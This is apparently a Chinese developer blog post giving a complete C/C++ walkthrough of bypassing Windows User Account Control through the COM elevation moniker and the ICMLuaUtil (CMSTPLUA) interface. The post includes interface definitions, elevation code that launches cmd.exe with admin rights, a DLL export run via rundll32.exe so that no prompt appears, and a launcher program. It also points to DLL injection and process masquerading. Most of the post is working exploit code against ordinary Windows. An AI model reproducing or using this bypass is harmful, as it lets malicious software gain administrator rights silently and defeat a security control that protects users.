在早些年写一些桌面软件时,需要管理员权限,但是又不想UAC弹窗,所以一般是直接将UAC的级别拉到最低,或者直接禁用UAC的相关功能。
什么是UAC(User Account Control)
用户帐户控制 (UAC) 是一项 Windows 安全功能,旨在保护操作系统免受未经授权的更改。 当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。 UAC 通过限制恶意代码拥有的以管理员权限执行的访问权限来提高 Windows 设备的安全性。 UAC 使用户能够就可能影响设备稳定性和安全性的操作做出明智的决策。
除非禁用 UAC,否则会阻止恶意软件禁用或干扰 UAC 设置。 UAC 默认处于启用状态,如果具有管理员权限,则可以对其进行配置。
关于UAC这里仅做简单介绍,可以在文末的参考资料里获取关于UAC的更详细的介绍。
绕过UAC弹窗目前流行的有几种方案,这里只介绍基于COM组件的
利用COM组件绕过UAC
原理
COM Elevation Moniker技术允许运行在用户账户控制下的应用提升权限的方法来激活COM类,以提升COM接口权限。
主要用到了ICMLuaUtil接口,它提供了一个ShellExec方法来执行命令,创建指定进程。
ICMLuaUtil接口定义如下:
1 #include <Windows.h> 2 #include <objbase.h> 3 #include <strsafe.h> 4 5 6 #define CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" 7 #define IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}" 8 9 10 typedef interface ICMLuaUtil ICMLuaUtil; 11 12 typedef struct ICMLuaUtilVtbl { 13 14 BEGIN_INTERFACE 15 16 HRESULT(STDMETHODCALLTYPE *QueryInterface)( 17 __RPC__in ICMLuaUtil * This, 18 __RPC__in REFIID riid, 19 _COM_Outptr_ void **ppvObject); 20 21 ULONG(STDMETHODCALLTYPE *AddRef)( 22 __RPC__in ICMLuaUtil * This); 23 24 ULONG(STDMETHODCALLTYPE *Release)( 25 __RPC__in ICMLuaUtil * This); 26 27 HRESULT(STDMETHODCALLTYPE *Method1)( 28 __RPC__in ICMLuaUtil * This); 29 30 HRESULT(STDMETHODCALLTYPE *Method2)( 31 __RPC__in ICMLuaUtil * This); 32 33 HRESULT(STDMETHODCALLTYPE *Method3)( 34 __RPC__in ICMLuaUtil * This); 35 36 HRESULT(STDMETHODCALLTYPE *Method4)( 37 __RPC__in ICMLuaUtil * This); 38 39 HRESULT(STDMETHODCALLTYPE *Method5)( 40 __RPC__in ICMLuaUtil * This); 41 42 HRESULT(STDMETHODCALLTYPE *Method6)( 43 __RPC__in ICMLuaUtil * This); 44 45 HRESULT(STDMETHODCALLTYPE *ShellExec)( 46 __RPC__in ICMLuaUtil * This, 47 _In_ LPCWSTR lpFile, 48 _In_opt_ LPCTSTR lpParameters, 49 _In_opt_ LPCTSTR lpDirectory, 50 _In_ ULONG fMask, 51 _In_ ULONG nShow 52 ); 53 54 HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)( 55 __RPC__in ICMLuaUtil * This, 56 _In_ HKEY hKey, 57 _In_opt_ LPCTSTR lpSubKey, 58 _In_opt_ LPCTSTR lpValueName, 59 _In_ LPCTSTR lpValueString 60 ); 61 62 HRESULT(STDMETHODCALLTYPE *Method9)( 63 __RPC__in ICMLuaUtil * This); 64 65 HRESULT(STDMETHODCALLTYPE *Method10)( 66 __RPC__in ICMLuaUtil * This); 67 68 HRESULT(STDMETHODCALLTYPE *Method11)( 69 __RPC__in ICMLuaUtil * This); 70 71 HRESULT(STDMETHODCALLTYPE *Method12)( 72 __RPC__in ICMLuaUtil * This); 73 74 HRESULT(STDMETHODCALLTYPE *Method13)( 75 __RPC__in ICMLuaUtil * This); 76 77 HRESULT(STDMETHODCALLTYPE *Method14)( 78 __RPC__in ICMLuaUtil * This); 79 80 HRESULT(STDMETHODCALLTYPE *Method15)( 81 __RPC__in ICMLuaUtil * This); 82 83 HRESULT(STDMETHODCALLTYPE *Method16)( 84 __RPC__in ICMLuaUtil * This); 85 86 HRESULT(STDMETHODCALLTYPE *Method17)( 87 __RPC__in ICMLuaUtil * This); 88 89 HRESULT(STDMETHODCALLTYPE *Method18)( 90 __RPC__in ICMLuaUtil * This); 91 92 HRESULT(STDMETHODCALLTYPE *Method19)( 93 __RPC__in ICMLuaUtil * This); 94 95 HRESULT(STDMETHODCALLTYPE *Method20)( 96 __RPC__in ICMLuaUtil * This); 97 98 END_INTERFACE 99 100 } *PICMLuaUtilVtbl; 101 102 interface ICMLuaUtil 103 { 104 CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl; 105 };
使用权限提升COM类的程序必须通过调用CoCreateInstanceAsAdmin函数来创建COM类。
CoCreateInstanceAsAdmin参考代码如下:
1 HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid) 2 { 3 BIND_OPTS3 bo; 4 WCHAR wszCLSID[MAX_PATH] = { 0 }; 5 WCHAR wszMonikerName[MAX_PATH] = { 0 }; 6 HRESULT hr = 0; 7 8 // 初始化COM环境 9 ::CoInitialize(NULL); 10 11 // 构造字符串 12 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); 13 hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); 14 if (FAILED(hr)) 15 { 16 return hr; 17 } 18 19 // 设置BIND_OPTS3 20 ::RtlZeroMemory(&bo, sizeof(bo)); 21 bo.cbStruct = sizeof(bo); 22 bo.hwnd = hWnd; 23 bo.dwClassContext = CLSCTX_LOCAL_SERVER; 24 25 // 创建名称对象并获取COM对象 26 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); 27 return hr; 28 }
CoCreateInstanceAsAdmin函数的作用是创建并激活提升权限的COM类。
ICMLuaUtil接口通过上述方法创建后,再调用ShellExec方法来创建指定进程,可以绕过UAC。
调用ShellExec的方法如下:
1 BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable) 2 { 3 HRESULT hr = 0; 4 CLSID clsidICMLuaUtil = { 0 }; 5 IID iidICMLuaUtil = { 0 }; 6 ICMLuaUtil *CMLuaUtil = NULL; 7 BOOL bRet = FALSE; 8 9 10 ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); 11 ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); 12 13 // 提权 14 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); 15 if (FAILED(hr)) 16 { 17 return FALSE; 18 } 19 20 // 启动程序 21 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); 22 if (FAILED(hr)) 23 { 24 return FALSE; 25 } 26 27 bRet = TRUE; 28 29 30 // 释放 31 if (CMLuaUtil) 32 { 33 CMLuaUtil->lpVtbl->Release(CMLuaUtil); 34 } 35 36 return bRet; 37 }
到这一步我们就可以以提升过的权限执行对应 的程序 ,如果执行COM Elevation Moniker的程序身份是不可信的(未签名/签名不受信息/已过期等),则会触发UAC弹窗,如果是可信的,就不会触发UAC弹窗。
想要绕过UAC弹窗,就得想办法让上述代码在可信程序中运行。
可信程序包括但不限于calc.exe、notepad.exe、explorer.exe、rundll32.exe等。
可以通过以下几种方式让上述代码在可信任程序中运行:
1、DLL注入或劫持
2、进程伪装
3、通过rundll32.exe来加载DLL,执行COM Elevation Moniker代码
DLL注入可以查看我前面写的一篇文章:
https://www.cnblogs.com/zhaotianff/p/18070259
进程伪装可以查看文末的参考资料中的链接。
本文以rundll32.exe进行演示。利用rundll32.exe调用DLL中的导出函数,其中导出函数的声明如下:
1 void CALLBACK Func(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
我们可以创建一个DLL工程,创建一个导出函数,在导出函数中调用前面的代码,示例如下:
1 // 导出函数给rundll32.exe调用执行 2 void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow) 3 { 4 CMLuaUtilBypassUAC(L"C:\\Windows\\System32\\cmd.exe"); 5 }
然后再通过cmd去执行rundll32.exe,或通过编程的方式
cmd
1 rundll32.exe "BypassUAC_Dll.dll" BypassUAC
cpp
1 #include <iostream> 2 #include<Windows.h> 3 #include<tchar.h> 4 5 void main() 6 { 7 TCHAR szCmdLine[MAX_PATH] = { 0 }; 8 TCHAR szRundll32Path[MAX_PATH] = L"C:\\Windows\\System32\\rundll32.exe"; 9 TCHAR szDllPath[MAX_PATH] = L"C:\\Users\\xi\\Desktop\\src\\BypassUACDemo\\Debug\\BypassUAC_DLL.dll"; 10 wsprintf(szCmdLine, L"%s \"%s\" %s", szRundll32Path, szDllPath, L"BypassUAC"); 11 STARTUPINFO si{}; 12 si.cb = sizeof(STARTUPINFO); 13 PROCESS_INFORMATION pi{}; 14 CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 15 }
运行效果:
参考资料:
用户帐户控制工作原理
https://learn.microsoft.com/zh-cn/windows/security/application-security/application-control/user-account-control/how-it-works
Bypass UAC(用户账户控制)的几种方法探究及案例
https://www.freebuf.com/articles/network/332619.html
UACME
https://github.com/hfiref0x/UACME
BypassUAC
https://github.com/0xlane/BypassUAC